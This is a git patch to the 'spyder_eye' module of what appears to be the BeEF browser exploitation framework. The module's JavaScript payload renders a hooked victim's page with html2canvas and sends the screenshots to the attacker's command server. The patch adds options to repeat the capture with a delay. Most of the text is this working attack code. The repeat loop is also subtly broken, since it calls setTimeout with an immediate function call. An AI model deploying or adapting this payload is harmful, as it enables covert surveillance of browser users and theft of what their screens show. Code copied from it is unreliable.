From ae2488e7bda42a512238df499ff8f2eb94f9d811 Mon Sep 17 00:00:00 2001 From: mgeeky Date: Thu, 14 Apr 2016 16:14:33 +0200 Subject: [PATCH] Working on repeated snapshot taking. At the moment, this will result in multiple screenshots being stored in the file system, but the module will present only the most recent one in WebGUI. Which is not exactly what I wanted to accomplish --- modules/browser/spyder_eye/command.js | 16 +++++++++++++--- modules/browser/spyder_eye/module.rb | 7 +++++++ 2 files changed, 20 insertions(+), 3 deletions(-) diff --git a/modules/browser/spyder_eye/command.js b/modules/browser/spyder_eye/command.js index f37517fbd..65ac52541 100644 --- a/modules/browser/spyder_eye/command.js +++ b/modules/browser/spyder_eye/command.js @@ -6,18 +6,27 @@ beef.execute(function() { - takeit = function() { + var takes = parseInt('<%= @repeat %>') || 1; + var delay = parseInt('<%= @delay %>') || 0; + + snap = function(num) { try { html2canvas(document.body).then(function(canvas) { var d = canvas.toDataURL('image/png'); - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'image=' + d ); + beef.net.send('<%= @command_url %>', <%= @command_id %> + num, 'image=' + d ); }); } catch (e) { - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Obtaining snapshot failed: ' + e.message); + beef.net.send('<%= @command_url %>', <%= @command_id %> + num, 'result=Obtaining snapshot failed: ' + e.message); } }; + takeit = function() { + for(var i = 0; i < takes; i++) { + setTimeout(snap(i), delay); + } + }; + if (typeof html2canvas == "undefined") { var script = document.createElement('script'); script.type = 'text/javascript'; @@ -29,4 +38,5 @@ beef.execute(function() { else { takeit(); } + }); diff --git a/modules/browser/spyder_eye/module.rb b/modules/browser/spyder_eye/module.rb index 8d810999a..94c1a3409 100644 --- a/modules/browser/spyder_eye/module.rb +++ b/modules/browser/spyder_eye/module.rb @@ -6,6 +6,13 @@ class Spyder_eye < BeEF::Core::Command require 'base64' + def self.options + return [ + { 'ui_label'=>'Repeat', 'name'=>'repeat', 'description' => 'Number of snapshot to take.', 'value'=>'1', 'width'=>'80px' }, + { 'ui_label'=>'Delay', 'name'=>'delay', 'description' => 'Delay between taking each snapshot in ms. To low value may severily impact browser\'s performance.', 'value'=>'3000', 'width'=>'80px' }, + ] + end + def pre_send BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/browser/spyder_eye/html2canvas.js', '/h2c', 'js') end